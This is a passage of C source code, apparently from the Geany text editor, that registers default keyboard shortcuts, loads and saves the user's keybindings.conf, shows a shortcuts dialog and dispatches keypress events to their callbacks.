keybindings_get_core_group(GEANY_KEY_GROUP_GOTO); add_kb(group, GEANY_KEYS_GOTO_BACK, NULL, GDK_Left, GDK_MOD1_MASK, "nav_back", _("Navigate back a location"), NULL); add_kb(group, GEANY_KEYS_GOTO_FORWARD, NULL, GDK_Right, GDK_MOD1_MASK, "nav_forward", _("Navigate forward a location"), NULL); add_kb(group, GEANY_KEYS_GOTO_LINE, NULL, GDK_l, GDK_CONTROL_MASK, "menu_gotoline", _("Go to Line"), "go_to_line1"); add_kb(group, GEANY_KEYS_GOTO_MATCHINGBRACE, NULL, GDK_b, GDK_CONTROL_MASK, "edit_gotomatchingbrace", _("Go to matching brace"), NULL); add_kb(group, GEANY_KEYS_GOTO_TOGGLEMARKER, NULL, GDK_m, GDK_CONTROL_MASK, "edit_togglemarker", _("Toggle marker"), NULL); add_kb(group, GEANY_KEYS_GOTO_NEXTMARKER, NULL, GDK_period, GDK_CONTROL_MASK, "edit_gotonextmarker", _("_Go to Next Marker"), "go_to_next_marker1"); add_kb(group, GEANY_KEYS_GOTO_PREVIOUSMARKER, NULL, GDK_comma, GDK_CONTROL_MASK, "edit_gotopreviousmarker", _("_Go to Previous Marker"), "go_to_previous_marker1"); add_kb(group, GEANY_KEYS_GOTO_TAGDEFINITION, NULL, GDK_t, GDK_CONTROL_MASK, "popup_gototagdefinition", _("Go to Tag Definition"), "goto_tag_definition1"); add_kb(group, GEANY_KEYS_GOTO_TAGDECLARATION, NULL, GDK_t, GDK_CONTROL_MASK | GDK_SHIFT_MASK, "popup_gototagdeclaration", _("Go to Tag Declaration"), "goto_tag_declaration1"); add_kb(group, GEANY_KEYS_GOTO_LINESTART, NULL, GDK_Home, 0, "edit_gotolinestart", _("Go to Start of Line"), NULL); add_kb(group, GEANY_KEYS_GOTO_LINEEND, NULL, GDK_End, 0, "edit_gotolineend", _("Go to End of Line"), NULL); add_kb(group, GEANY_KEYS_GOTO_LINEENDVISUAL, NULL, GDK_End, GDK_MOD1_MASK, "edit_gotolineendvisual", _("Go to End of Display Line"), NULL); add_kb(group, GEANY_KEYS_GOTO_PREVWORDPART, NULL, GDK_slash, GDK_CONTROL_MASK, "edit_prevwordstart", _("Go to Previous Word Part"), NULL); add_kb(group, GEANY_KEYS_GOTO_NEXTWORDPART, NULL, GDK_backslash, GDK_CONTROL_MASK, "edit_nextwordstart", _("Go to Next Word Part"), NULL); group = keybindings_get_core_group(GEANY_KEY_GROUP_VIEW); add_kb(group, GEANY_KEYS_VIEW_TOGGLEALL, NULL, 0, 0, "menu_toggleall", _("Toggle All Additional Widgets"), "menu_toggle_all_additional_widgets1"); add_kb(group, GEANY_KEYS_VIEW_FULLSCREEN, cb_func_menu_fullscreen, GDK_F11, 0, "menu_fullscreen", _("Fullscreen"), "menu_fullscreen1"); add_kb(group, GEANY_KEYS_VIEW_MESSAGEWINDOW, cb_func_menu_messagewindow, 0, 0, "menu_messagewindow", _("Toggle Messages Window"), "menu_show_messages_window1"); add_kb(group, GEANY_KEYS_VIEW_SIDEBAR, NULL, 0, 0, "toggle_sidebar", _("Toggle Sidebar"), "menu_show_sidebar1"); add_kb(group, GEANY_KEYS_VIEW_ZOOMIN, NULL, GDK_plus, GDK_CONTROL_MASK, "menu_zoomin", _("Zoom In"), "menu_zoom_in1"); add_kb(group, GEANY_KEYS_VIEW_ZOOMOUT, NULL, GDK_minus, GDK_CONTROL_MASK, "menu_zoomout", _("Zoom Out"), "menu_zoom_out1"); add_kb(group, GEANY_KEYS_VIEW_ZOOMRESET, NULL, GDK_0, GDK_CONTROL_MASK, "normal_size", _("Zoom Reset"), "normal_size1"); group = keybindings_get_core_group(GEANY_KEY_GROUP_FOCUS); add_kb(group, GEANY_KEYS_FOCUS_EDITOR, NULL, GDK_F2, 0, "switch_editor", _("Switch to Editor"), NULL); add_kb(group, GEANY_KEYS_FOCUS_SEARCHBAR, NULL, GDK_F7, 0, "switch_search_bar", _("Switch to Search Bar"), NULL); add_kb(group, GEANY_KEYS_FOCUS_MESSAGE_WINDOW, NULL, 0, 0, "switch_message_window", _("Switch to Message Window"), NULL); add_kb(group, GEANY_KEYS_FOCUS_COMPILER, NULL, 0, 0, "switch_compiler", _("Switch to Compiler"), NULL); add_kb(group, GEANY_KEYS_FOCUS_MESSAGES, NULL, 0, 0, "switch_messages", _("Switch to Messages"), NULL); add_kb(group, GEANY_KEYS_FOCUS_SCRIBBLE, NULL, GDK_F6, 0, "switch_scribble", _("Switch to Scribble"), NULL); add_kb(group, GEANY_KEYS_FOCUS_VTE, NULL, GDK_F4, 0, "switch_vte", _("Switch to VTE"), NULL); add_kb(group, GEANY_KEYS_FOCUS_SIDEBAR, NULL, 0, 0, "switch_sidebar", _("Switch to Sidebar"), NULL); add_kb(group, GEANY_KEYS_FOCUS_SIDEBAR_SYMBOL_LIST, NULL, 0, 0, "switch_sidebar_symbol_list", _("Switch to Sidebar Symbol List"), NULL); add_kb(group, GEANY_KEYS_FOCUS_SIDEBAR_DOCUMENT_LIST, NULL, 0, 0, "switch_sidebar_doc_list", _("Switch to Sidebar Document List"), NULL); group = keybindings_get_core_group(GEANY_KEY_GROUP_NOTEBOOK); add_kb(group, GEANY_KEYS_NOTEBOOK_SWITCHTABLEFT, cb_func_switch_tableft, GDK_Page_Up, GDK_CONTROL_MASK, "switch_tableft", _("Switch to left document"), NULL); add_kb(group, GEANY_KEYS_NOTEBOOK_SWITCHTABRIGHT, cb_func_switch_tabright, GDK_Page_Down, GDK_CONTROL_MASK, "switch_tabright", _("Switch to right document"), NULL); add_kb(group, GEANY_KEYS_NOTEBOOK_SWITCHTABLASTUSED, cb_func_switch_tablastused, GDK_Tab, GDK_CONTROL_MASK, "switch_tablastused", _("Switch to last used document"), NULL); add_kb(group, GEANY_KEYS_NOTEBOOK_MOVETABLEFT, cb_func_move_tab, GDK_Page_Up, GDK_CONTROL_MASK | GDK_SHIFT_MASK, "move_tableft", _("Move document left"), NULL); add_kb(group, GEANY_KEYS_NOTEBOOK_MOVETABRIGHT, cb_func_move_tab, GDK_Page_Down, GDK_CONTROL_MASK | GDK_SHIFT_MASK, "move_tabright", _("Move document right"), NULL); add_kb(group, GEANY_KEYS_NOTEBOOK_MOVETABFIRST, cb_func_move_tab, 0, 0, "move_tabfirst", _("Move document first"), NULL); add_kb(group, GEANY_KEYS_NOTEBOOK_MOVETABLAST, cb_func_move_tab, 0, 0, "move_tablast", _("Move document last"), NULL); group = keybindings_get_core_group(GEANY_KEY_GROUP_DOCUMENT); add_kb(group, GEANY_KEYS_DOCUMENT_LINEWRAP, NULL, 0, 0, "menu_linewrap", _("Toggle Line wrapping"), "menu_line_wrapping1"); add_kb(group, GEANY_KEYS_DOCUMENT_LINEBREAK, NULL, 0, 0, "menu_linebreak", _("Toggle Line breaking"), "line_breaking1"); add_kb(group, GEANY_KEYS_DOCUMENT_REPLACETABS, NULL, 0, 0, "menu_replacetabs", _("Replace tabs by space"), "menu_replace_tabs"); add_kb(group, GEANY_KEYS_DOCUMENT_REPLACESPACES, NULL, 0, 0, "menu_replacespaces", _("Replace spaces by tabs"), "menu_replace_spaces"); add_kb(group, GEANY_KEYS_DOCUMENT_TOGGLEFOLD, NULL, 0, 0, "menu_togglefold", _("Toggle current fold"), NULL); add_kb(group, GEANY_KEYS_DOCUMENT_FOLDALL, NULL, 0, 0, "menu_foldall", _("Fold all"), "menu_fold_all1"); add_kb(group, GEANY_KEYS_DOCUMENT_UNFOLDALL, NULL, 0, 0, "menu_unfoldall", _("Unfold all"), "menu_unfold_all1"); add_kb(group, GEANY_KEYS_DOCUMENT_RELOADTAGLIST, NULL, GDK_r, GDK_SHIFT_MASK | GDK_CONTROL_MASK, "reloadtaglist", _("Reload symbol list"), NULL); add_kb(group, GEANY_KEYS_DOCUMENT_REMOVE_MARKERS, NULL, 0, 0, "remove_markers", _("Remove Markers"), "remove_markers1"); add_kb(group, GEANY_KEYS_DOCUMENT_REMOVE_ERROR_INDICATORS, NULL, 0, 0, "remove_error_indicators", _("Remove Error Indicators"), "menu_remove_indicators1"); add_kb(group, GEANY_KEYS_DOCUMENT_REMOVE_MARKERS_INDICATORS, NULL, 0, 0, "remove_markers_and_indicators", _("Remove Markers and Error Indicators"), NULL); group = keybindings_get_core_group(GEANY_KEY_GROUP_BUILD); add_kb(group, GEANY_KEYS_BUILD_COMPILE, NULL, GDK_F8, 0, "build_compile", _("Compile"), NULL); add_kb(group, GEANY_KEYS_BUILD_LINK, NULL, GDK_F9, 0, "build_link", _("Build"), NULL); add_kb(group, GEANY_KEYS_BUILD_MAKE, NULL, GDK_F9, GDK_SHIFT_MASK, "build_make", _("Make all"), NULL); add_kb(group, GEANY_KEYS_BUILD_MAKEOWNTARGET, NULL, GDK_F9, GDK_SHIFT_MASK | GDK_CONTROL_MASK, "build_makeowntarget", _("Make custom target"), NULL); add_kb(group, GEANY_KEYS_BUILD_MAKEOBJECT, NULL, GDK_F8, GDK_SHIFT_MASK, "build_makeobject", _("Make object"), NULL); add_kb(group, GEANY_KEYS_BUILD_NEXTERROR, NULL, 0, 0, "build_nexterror", _("Next error"), NULL); add_kb(group, GEANY_KEYS_BUILD_PREVIOUSERROR, NULL, 0, 0, "build_previouserror", _("Previous error"), NULL); add_kb(group, GEANY_KEYS_BUILD_RUN, NULL, GDK_F5, 0, "build_run", _("Run"), NULL); add_kb(group, GEANY_KEYS_BUILD_OPTIONS, NULL, 0, 0, "build_options", _("Build options"), NULL); group = keybindings_get_core_group(GEANY_KEY_GROUP_TOOLS); add_kb(group, GEANY_KEYS_TOOLS_OPENCOLORCHOOSER, cb_func_menu_opencolorchooser, 0, 0, "menu_opencolorchooser", _("Show Color Chooser"), "menu_choose_color1"); group = keybindings_get_core_group(GEANY_KEY_GROUP_HELP); add_kb(group, GEANY_KEYS_HELP_HELP, cb_func_menu_help, GDK_F1, 0, "menu_help", _("Help"), "help1"); } void keybindings_init(void) { memset(binding_ids, 0, sizeof binding_ids); keybinding_groups = g_ptr_array_sized_new(GEANY_KEY_GROUP_COUNT); kb_accel_group = gtk_accel_group_new(); init_default_kb(); gtk_window_add_accel_group(GTK_WINDOW(main_widgets.window), kb_accel_group); g_signal_connect(main_widgets.window, "key-press-event", G_CALLBACK(on_key_press_event), NULL); } typedef void (*KBItemCallback) (GeanyKeyGroup *group, GeanyKeyBinding *kb, gpointer user_data); static void keybindings_foreach(KBItemCallback cb, gpointer user_data) { gsize g, i; GeanyKeyGroup *group; GeanyKeyBinding *kb; foreach_ptr_array(group, g, keybinding_groups) { foreach_ptr_array(kb, i, group->key_items) cb(group, kb, user_data); } } static void load_kb(GeanyKeyGroup *group, GeanyKeyBinding *kb, gpointer user_data) { GKeyFile *config = user_data; gchar *val; guint key; GdkModifierType mods; val = g_key_file_get_string(config, group->name, kb->name, NULL); if (val != NULL) { gtk_accelerator_parse(val, &key, &mods); kb->key = key; kb->mods = mods; g_free(val); } } static void load_user_kb(void) { gchar *configfile = g_strconcat(app->configdir, G_DIR_SEPARATOR_S, "keybindings.conf", NULL); GKeyFile *config = g_key_file_new(); /* backwards compatibility with Geany 0.21 defaults */ if (!g_file_test(configfile, G_FILE_TEST_EXISTS)) { gchar *geanyconf = g_strconcat(app->configdir, G_DIR_SEPARATOR_S, "geany.conf", NULL); const gchar data[] = "[Bindings]\n" "popup_gototagdefinition=\n" "edit_transposeline=<Control>t\n" "edit_movelineup=\n" "edit_movelinedown=\n" "move_tableft=<Alt>Page_Up\n" "move_tabright=<Alt>Page_Down\n"; utils_write_file(configfile, g_file_test(geanyconf, G_FILE_TEST_EXISTS) ? data : ""); g_free(geanyconf); } /* now load user defined keys */ if (g_key_file_load_from_file(config, configfile, G_KEY_FILE_KEEP_COMMENTS, NULL)) { keybindings_foreach(load_kb, config); } g_free(configfile); g_key_file_free(config); } static void apply_kb_accel(GeanyKeyGroup *group, GeanyKeyBinding *kb, gpointer user_data) { if (kb->key != 0 && kb->menu_item) { gtk_widget_add_accelerator(kb->menu_item, "activate", kb_accel_group, kb->key, kb->mods, GTK_ACCEL_VISIBLE); } } void keybindings_load_keyfile(void) { load_user_kb(); add_popup_menu_accels(); /* set menu accels now, after user keybindings have been read */ keybindings_foreach(apply_kb_accel, NULL); } static void add_menu_accel(GeanyKeyGroup *group, guint kb_id, GtkWidget *menuitem) { GeanyKeyBinding *kb = keybindings_get_item(group, kb_id); if (kb->key != 0) gtk_widget_add_accelerator(menuitem, "activate", kb_accel_group, kb->key, kb->mods, GTK_ACCEL_VISIBLE); } #define GEANY_ADD_POPUP_ACCEL(kb_id, wid) \ add_menu_accel(group, kb_id, ui_lookup_widget(main_widgets.editor_menu, G_STRINGIFY(wid))) /* set the menu item accelerator shortcuts (just for visibility, they are handled anyway) */ static void add_popup_menu_accels(void) { GeanyKeyGroup *group; group = keybindings_get_core_group(GEANY_KEY_GROUP_EDITOR); GEANY_ADD_POPUP_ACCEL(GEANY_KEYS_EDITOR_UNDO, undo1); GEANY_ADD_POPUP_ACCEL(GEANY_KEYS_EDITOR_REDO, redo1); GEANY_ADD_POPUP_ACCEL(GEANY_KEYS_EDITOR_CONTEXTACTION, context_action1); group = keybindings_get_core_group(GEANY_KEY_GROUP_SELECT); GEANY_ADD_POPUP_ACCEL(GEANY_KEYS_SELECT_ALL, menu_select_all2); group = keybindings_get_core_group(GEANY_KEY_GROUP_INSERT); GEANY_ADD_POPUP_ACCEL(GEANY_KEYS_INSERT_DATE, insert_date_custom2); GEANY_ADD_POPUP_ACCEL(GEANY_KEYS_INSERT_ALTWHITESPACE, insert_alternative_white_space2); group = keybindings_get_core_group(GEANY_KEY_GROUP_FILE); GEANY_ADD_POPUP_ACCEL(GEANY_KEYS_FILE_OPENSELECTED, menu_open_selected_file2); group = keybindings_get_core_group(GEANY_KEY_GROUP_SEARCH); GEANY_ADD_POPUP_ACCEL(GEANY_KEYS_SEARCH_FINDUSAGE, find_usage2); GEANY_ADD_POPUP_ACCEL(GEANY_KEYS_SEARCH_FINDDOCUMENTUSAGE, find_document_usage2); group = keybindings_get_core_group(GEANY_KEY_GROUP_GOTO); GEANY_ADD_POPUP_ACCEL(GEANY_KEYS_GOTO_TAGDEFINITION, goto_tag_definition2); /* Format and Commands share the menu bar submenus */ /* Build menu items are set if the build menus are created */ } static void set_keyfile_kb(GeanyKeyGroup *group, GeanyKeyBinding *kb, gpointer user_data) { GKeyFile *config = user_data; gchar *val; val = gtk_accelerator_name(kb->key, kb->mods); g_key_file_set_string(config, group->name, kb->name, val); g_free(val); } /* just write the content of the keys array to the config file */ void keybindings_write_to_file(void) { gchar *configfile = g_strconcat(app->configdir, G_DIR_SEPARATOR_S, "keybindings.conf", NULL); gchar *data; GKeyFile *config = g_key_file_new(); g_key_file_load_from_file(config, configfile, 0, NULL); keybindings_foreach(set_keyfile_kb, config); /* write the file */ data = g_key_file_to_data(config, NULL, NULL); utils_write_file(configfile, data); g_free(data); g_free(configfile); g_key_file_free(config); } void keybindings_free(void) { GeanyKeyGroup *group; gsize g; foreach_ptr_array(group, g, keybinding_groups) keybindings_free_group(group); g_ptr_array_free(keybinding_groups, TRUE); } gchar *keybindings_get_label(GeanyKeyBinding *kb) { return utils_str_remove_chars(g_strdup(kb->label), "_"); } static void fill_shortcut_labels_treeview(GtkWidget *tree) { gsize g, i; GeanyKeyBinding *kb; GeanyKeyGroup *group; GtkListStore *store; GtkTreeIter iter; store = gtk_list_store_new(3, G_TYPE_STRING, G_TYPE_STRING, PANGO_TYPE_WEIGHT); foreach_ptr_array(group, g, keybinding_groups) { if (g > 0) { gtk_list_store_append(store, &iter); gtk_list_store_set(store, &iter, -1); } gtk_list_store_append(store, &iter); gtk_list_store_set(store, &iter, 0, group->label, 2, PANGO_WEIGHT_BOLD, -1); foreach_ptr_array(kb, i, group->key_items) { gchar *shortcut, *label; label = keybindings_get_label(kb); shortcut = gtk_accelerator_get_label(kb->key, kb->mods); gtk_list_store_append(store, &iter); gtk_list_store_set(store, &iter, 0, label, 1, shortcut, 2, PANGO_WEIGHT_NORMAL, -1); g_free(shortcut); g_free(label); } } gtk_tree_view_set_model(GTK_TREE_VIEW(tree), GTK_TREE_MODEL(store)); g_object_unref(store); } static GtkWidget *create_dialog(void) { GtkWidget *dialog, *tree, *label, *swin, *vbox; GtkCellRenderer *text_renderer; GtkTreeViewColumn *column; dialog = gtk_dialog_new_with_buttons(_("Keyboard Shortcuts"), GTK_WINDOW(main_widgets.window), GTK_DIALOG_DESTROY_WITH_PARENT, GTK_STOCK_EDIT, GTK_RESPONSE_APPLY, GTK_STOCK_CLOSE, GTK_RESPONSE_CANCEL, NULL); vbox = ui_dialog_vbox_new(GTK_DIALOG(dialog)); gtk_box_set_spacing(GTK_BOX(vbox), 6); gtk_widget_set_name(dialog, "GeanyDialog"); gtk_window_set_default_size(GTK_WINDOW(dialog), -1, GEANY_DEFAULT_DIALOG_HEIGHT); gtk_dialog_set_default_response(GTK_DIALOG(dialog), GTK_RESPONSE_CANCEL); label = gtk_label_new(_("The following keyboard shortcuts are configurable:")); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); tree = gtk_tree_view_new(); gtk_tree_view_set_rules_hint(GTK_TREE_VIEW(tree), TRUE); gtk_tree_view_set_headers_visible(GTK_TREE_VIEW(tree), FALSE); text_renderer = gtk_cell_renderer_text_new(); /* we can't use "weight-set", see http://bugzilla.gnome.org/show_bug.cgi?id=355214 */ column = gtk_tree_view_column_new_with_attributes( NULL, text_renderer, "text", 0, "weight", 2, NULL); gtk_tree_view_append_column(GTK_TREE_VIEW(tree), column); text_renderer = gtk_cell_renderer_text_new(); column = gtk_tree_view_column_new_with_attributes(NULL, text_renderer, "text", 1, NULL); gtk_tree_view_append_column(GTK_TREE_VIEW(tree), column); fill_shortcut_labels_treeview(tree); swin = gtk_scrolled_window_new(NULL, NULL); gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW(swin), GTK_POLICY_NEVER, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW(swin), GTK_SHADOW_ETCHED_IN); gtk_container_add(GTK_CONTAINER(swin), tree); gtk_box_pack_start(GTK_BOX(vbox), label, FALSE, FALSE, 6); gtk_box_pack_start(GTK_BOX(vbox), swin, TRUE, TRUE, 0); return dialog; } /* non-modal keyboard shortcuts dialog, so user can edit whilst seeing the shortcuts */ static GtkWidget *key_dialog = NULL; static void on_dialog_response(GtkWidget *dialog, gint response, gpointer user_data) { if (response == GTK_RESPONSE_APPLY) { GtkWidget *wid; prefs_show_dialog(); /* select the KB page */ wid = ui_lookup_widget(ui_widgets.prefs_dialog, "frame22"); if (wid != NULL) { GtkNotebook *nb = GTK_NOTEBOOK(ui_lookup_widget(ui_widgets.prefs_dialog, "notebook2")); if (nb != NULL) gtk_notebook_set_current_page(nb, gtk_notebook_page_num(nb, wid)); } } gtk_widget_destroy(dialog); key_dialog = NULL; } void keybindings_show_shortcuts(void) { if (key_dialog) gtk_widget_destroy(key_dialog); /* in case the key_dialog is still visible */ key_dialog = create_dialog(); g_signal_connect(key_dialog, "response", G_CALLBACK(on_dialog_response), NULL); gtk_widget_show_all(key_dialog); } static gboolean check_fixed_kb(guint keyval, guint state) { /* check alt-0 to alt-9 for setting current notebook page */ if (state == GDK_MOD1_MASK && keyval >= GDK_0 && keyval <= GDK_9) { gint page = keyval - GDK_0 - 1; gint npages = gtk_notebook_get_n_pages(GTK_NOTEBOOK(main_widgets.notebook)); /* alt-0 is for the rightmost tab */ if (keyval == GDK_0) page = npages - 1; /* invert the order if tabs are added on the other side */ if (swap_alt_tab_order && ! file_prefs.tab_order_ltr) page = (npages - 1) - page; gtk_notebook_set_current_page(GTK_NOTEBOOK(main_widgets.notebook), page); return TRUE; } /* note: these are now overridden by default with move tab bindings */ if (keyval == GDK_Page_Up || keyval == GDK_Page_Down) { /* switch to first or last document */ if (state == (GDK_CONTROL_MASK | GDK_SHIFT_MASK)) { if (keyval == GDK_Page_Up) gtk_notebook_set_current_page(GTK_NOTEBOOK(main_widgets.notebook), 0); if (keyval == GDK_Page_Down) gtk_notebook_set_current_page(GTK_NOTEBOOK(main_widgets.notebook), -1); return TRUE; } } return FALSE; } static gboolean check_snippet_completion(GeanyDocument *doc) { GtkWidget *focusw = gtk_window_get_focus(GTK_WINDOW(main_widgets.window)); g_return_val_if_fail(doc, FALSE); /* keybinding only valid when scintilla widget has focus */ if (focusw == GTK_WIDGET(doc->editor->sci)) { ScintillaObject *sci = doc->editor->sci; gint pos = sci_get_current_position(sci); if (editor_prefs.complete_snippets) return editor_complete_snippet(doc->editor, pos); } return FALSE; } /* Transforms a GdkEventKey event into a GdkEventButton event */ static void trigger_button_event(GtkWidget *widget, guint32 event_time) { GdkEventButton *event; gboolean ret; event = g_new0(GdkEventButton, 1); if (GTK_IS_TEXT_VIEW(widget)) event->window = gtk_text_view_get_window(GTK_TEXT_VIEW(widget), GTK_TEXT_WINDOW_TEXT); else event->window = gtk_widget_get_window(widget); event->time = event_time; event->type = GDK_BUTTON_PRESS; event->button = 3; g_signal_emit_by_name(widget, "button-press-event", event, &ret); g_signal_emit_by_name(widget, "button-release-event", event, &ret); g_free(event); } /* Special case for the Menu key and Shift-F10 to show the right-click popup menu for various * widgets. Without this special handling, the notebook tab list of the documents' notebook * would be shown. As a very special case, we differentiate between the Menu key and Shift-F10 * if pressed in the editor widget: the Menu key opens the popup menu, Shift-F10 opens the * notebook tab list. */ static gboolean check_menu_key(GeanyDocument *doc, guint keyval, guint state, guint32 event_time) { if ((keyval == GDK_Menu && state == 0) || (keyval == GDK_F10 && state == GDK_SHIFT_MASK)) { GtkWidget *focusw = gtk_window_get_focus(GTK_WINDOW(main_widgets.window)); if (doc != NULL) { if (focusw == doc->priv->tag_tree) { trigger_button_event(focusw, event_time); return TRUE; } if (focusw == GTK_WIDGET(doc->editor->sci)) { if (keyval == GDK_Menu) { /* show editor popup menu */ trigger_button_event(focusw, event_time); return TRUE; } else { /* show tab bar menu */ trigger_button_event(main_widgets.notebook, event_time); return TRUE; } } } if (focusw == tv.tree_openfiles || focusw == msgwindow.tree_status || focusw == msgwindow.tree_compiler || focusw == msgwindow.tree_msg || focusw == msgwindow.scribble #ifdef HAVE_VTE || (vte_info.have_vte && focusw == vc->vte) #endif ) { trigger_button_event(focusw, event_time); return TRUE; } } return FALSE; } #ifdef HAVE_VTE static gboolean on_menu_expose_event(GtkWidget *widget, GdkEventExpose *event, gpointer user_data) { if (!GTK_WIDGET_SENSITIVE(widget)) gtk_widget_set_sensitive(GTK_WIDGET(widget), TRUE); return FALSE; } static gboolean set_sensitive(gpointer widget) { gtk_widget_set_sensitive(GTK_WIDGET(widget), TRUE); return FALSE; } static gboolean check_vte(GdkModifierType state, guint keyval) { guint i; GeanyKeyBinding *kb; GeanyKeyGroup *group; GtkWidget *widget; if (gtk_window_get_focus(GTK_WINDOW(main_widgets.window)) != vc->vte) return FALSE; /* let VTE copy/paste override any user keybinding */ if (state == (GDK_CONTROL_MASK | GDK_SHIFT_MASK) && (keyval == GDK_c || keyval == GDK_v)) return TRUE; if (! vc->enable_bash_keys) return FALSE; /* prevent menubar flickering: */ if (state == GDK_SHIFT_MASK && (keyval >= GDK_a && keyval <= GDK_z)) return FALSE; if (state == 0 && (keyval < GDK_F1 || keyval > GDK_F35)) /* e.g. backspace */ return FALSE; /* make focus commands override any bash commands */ group = keybindings_get_core_group(GEANY_KEY_GROUP_FOCUS); foreach_ptr_array(kb, i, group->key_items) { if (state == kb->mods && keyval == kb->key) return FALSE; } /* Temporarily disable the menus to prevent conflicting menu accelerators * from overriding the VTE bash shortcuts. * Note: maybe there's a better way of doing this ;-) */ widget = ui_lookup_widget(main_widgets.window, "menubar1"); gtk_widget_set_sensitive(widget, FALSE); { /* make the menubar sensitive before it is redrawn */ static gboolean connected = FALSE; if (!connected) g_signal_connect(widget, "expose-event", G_CALLBACK(on_menu_expose_event), NULL); } widget = main_widgets.editor_menu; gtk_widget_set_sensitive(widget, FALSE); g_idle_add(set_sensitive, widget); return TRUE; } #endif /* Map the keypad keys to their equivalent functions (taken from ScintillaGTK.cxx) */ static guint key_kp_translate(guint key_in) { switch (key_in) { case GDK_KP_Down: return GDK_Down; case GDK_KP_Up: return GDK_Up; case GDK_KP_Left: return GDK_Left; case GDK_KP_Right: return GDK_Right; case GDK_KP_Home: return GDK_Home; case GDK_KP_End: return GDK_End; case GDK_KP_Page_Up: return GDK_Page_Up; case GDK_KP_Page_Down: return GDK_Page_Down; case GDK_KP_Delete: return GDK_Delete; case GDK_KP_Insert: return GDK_Insert; default: return key_in; } } /* Check if event keypress matches keybinding combo */ gboolean keybindings_check_event(GdkEventKey *ev, GeanyKeyBinding *kb) { guint state, keyval; if (ev->keyval == 0) return FALSE; keyval = ev->keyval; state = ev->state & gtk_accelerator_get_default_mod_mask(); /* hack to get around that CTRL+Shift+r results in GDK_R not GDK_r */ if ((ev->state & GDK_SHIFT_MASK) || (ev->state & GDK_LOCK_MASK)) if (keyval >= GDK_A && keyval <= GDK_Z) keyval += GDK_a - GDK_A; if (keyval >= GDK_KP_Space && keyval < GDK_KP_Equal) keyval = key_kp_translate(keyval); return (keyval == kb->key && state == kb->mods); } void keybindings_debug_it(void) { int i; for (i = 0; i < GEANY_KEYS_COUNT; ++i) { if (binding_ids[i].id == GEANY_KEYS_CLIPBOARD_PASTE) { fprintf(stderr, "@@@ after %d\n", binding_ids[i].mods); } } } /* central keypress event handler, almost all keypress events go to this function */ static gboolean on_key_press_event(GtkWidget *widget, GdkEventKey *ev, gpointer user_data) { guint state, keyval; gsize g, i; GeanyDocument *doc; GeanyKeyGroup *group; GeanyKeyBinding *kb; if (ev->keyval == 0) return FALSE; doc = document_get_current(); if (doc) document_check_disk_status(doc, FALSE); keyval = ev->keyval; // state = ev->state & (gtk_accelerator_get_default_mod_mask() | 16); // meta bit on MacOSX state = ev->state & gtk_accelerator_get_default_mod_mask(); // geany_debug("key pressed: %d %d %d %d\n", ev->keyval, ev->state, gtk_accelerator_get_default_mod_mask(), state); /* hack to get around that CTRL+Shift+r results in GDK_R not GDK_r */ if ((ev->state & GDK_SHIFT_MASK) || (ev->state & GDK_LOCK_MASK)) if (keyval >= GDK_A && keyval <= GDK_Z) keyval += GDK_a - GDK_A; if (keyval >= GDK_KP_Space && keyval < GDK_KP_Equal) keyval = key_kp_translate(keyval); /*geany_debug("%d (%d) %d (%d)", keyval, ev->keyval, state, ev->state);*/ /* special cases */ #ifdef HAVE_VTE if (vte_info.have_vte && check_vte(state, keyval)) return FALSE; #endif if (check_menu_key(doc, keyval, state, ev->time)) return TRUE; foreach_ptr_array(group, g, keybinding_groups) { foreach_ptr_array(kb, i, group->key_items) { if (keyval == kb->key && state == kb->mods) { /* call the corresponding callback function for this shortcut */ if (kb->callback) { kb->callback(kb->id); return TRUE; } else if (group->callback) { if (group->callback(kb->id)) return TRUE; else continue; /* not handled */ } g_warning("No callback for keybinding %s: %s!", group->name, kb->name); } } } /* fixed keybindings can be overridden by user bindings, so check them last */ if (check_fixed_kb(keyval, state)) return TRUE; return FALSE; } /* group_id must be a core group, e.g. GEANY_KEY_GROUP_EDITOR * key_id e.g. GEANY_KEYS_EDITOR_CALLTIP */ GeanyKeyBinding *keybindings_lookup_item(guint group_id, guint key_id) { GeanyKeyGroup *group; g_return_val_if_fail(group_id < GEANY_KEY_GROUP_COUNT, NULL); /* can't use this for plugin groups */ group = keybindings_get_core_group(group_id); g_return_val_if_fail(group, NULL); return keybindings_get_item(group, key_id); } /** Mimics a (built-in only) keybinding action. * Example: @code keybindings_send_command(GEANY_KEY_GROUP_FILE, GEANY_KEYS_FILE_OPEN); @endcode * @param group_id @ref GeanyKeyGroupID keybinding group index that contains the @a key_id keybinding. * @param key_id @ref GeanyKeyBindingID keybinding index. */ void keybindings_send_command(guint group_id, guint key_id) { GeanyKeyBinding *kb; kb = keybindings_lookup_item(group_id, key_id); if (kb) { if (kb->callback) kb->callback(key_id); else { GeanyKeyGroup *group = keybindings_get_core_group(group_id); if (group->callback) group->callback(key_id); } } } /* These are the callback functions, either each group or each shortcut has it's * own function. */ static gboolean cb_func_file_action(guint key_id) { switch (key_id) { case GEANY_KEYS_FILE_NEW: document_new_file(NULL, NULL, NULL); break; case GEANY_KEYS_FILE_OPEN: on_open1_activate(NULL, NULL); break; case GEANY_KEYS_FILE_OPENSELECTED: on_menu_open_selected_file1_activate(NULL, NULL); break; case GEANY_KEYS_FILE_OPENLASTTAB: { gchar *utf8_filename = g_queue_peek_head(ui_prefs.recent_queue); gchar *locale_filename = utils_get_locale_from_utf8(utf8_filename); document_open_file(locale_filename, FALSE, NULL, NULL); g_free(locale_filename); break; } case GEANY_KEYS_FILE_SAVE: on_save1_activate(NULL, NULL); break; case GEANY_KEYS_FILE_SAVEAS: on_save_as1_activate(NULL, NULL); break; case GEANY_KEYS_FILE_SAVEALL: on_save_all1_activate(NULL, NULL); break; case GEANY_KEYS_FILE_CLOSE: on_close1_activate(NULL, NULL); break; case GEANY_KEYS_FILE_CLOSEALL: on_close_all1_activate(NULL, NULL); break; case GEANY_KEYS_FILE_RELOAD: on_toolbutton_reload_clicked(NULL, NULL); break; case GEANY_KEYS_FILE_PRINT: on_print1_activate(NULL, NULL); break; } return TRUE; } static gboolean cb_func_project_action(guint key_id) { switch (key_id) { case GEANY_KEYS_PROJECT_NEW: on_project_new1_activate(NULL, NULL); break; case GEANY_KEYS_PROJECT_OPEN: on_project_open1_activate(NULL, NULL); break; case GEANY_KEYS_PROJECT_CLOSE: if (app->project) on_project_close1_activate(NULL, NULL); break; case GEANY_KEYS_PROJECT_PROPERTIES: if (app->project) on_project_properties1_activate(NULL, NULL); break; 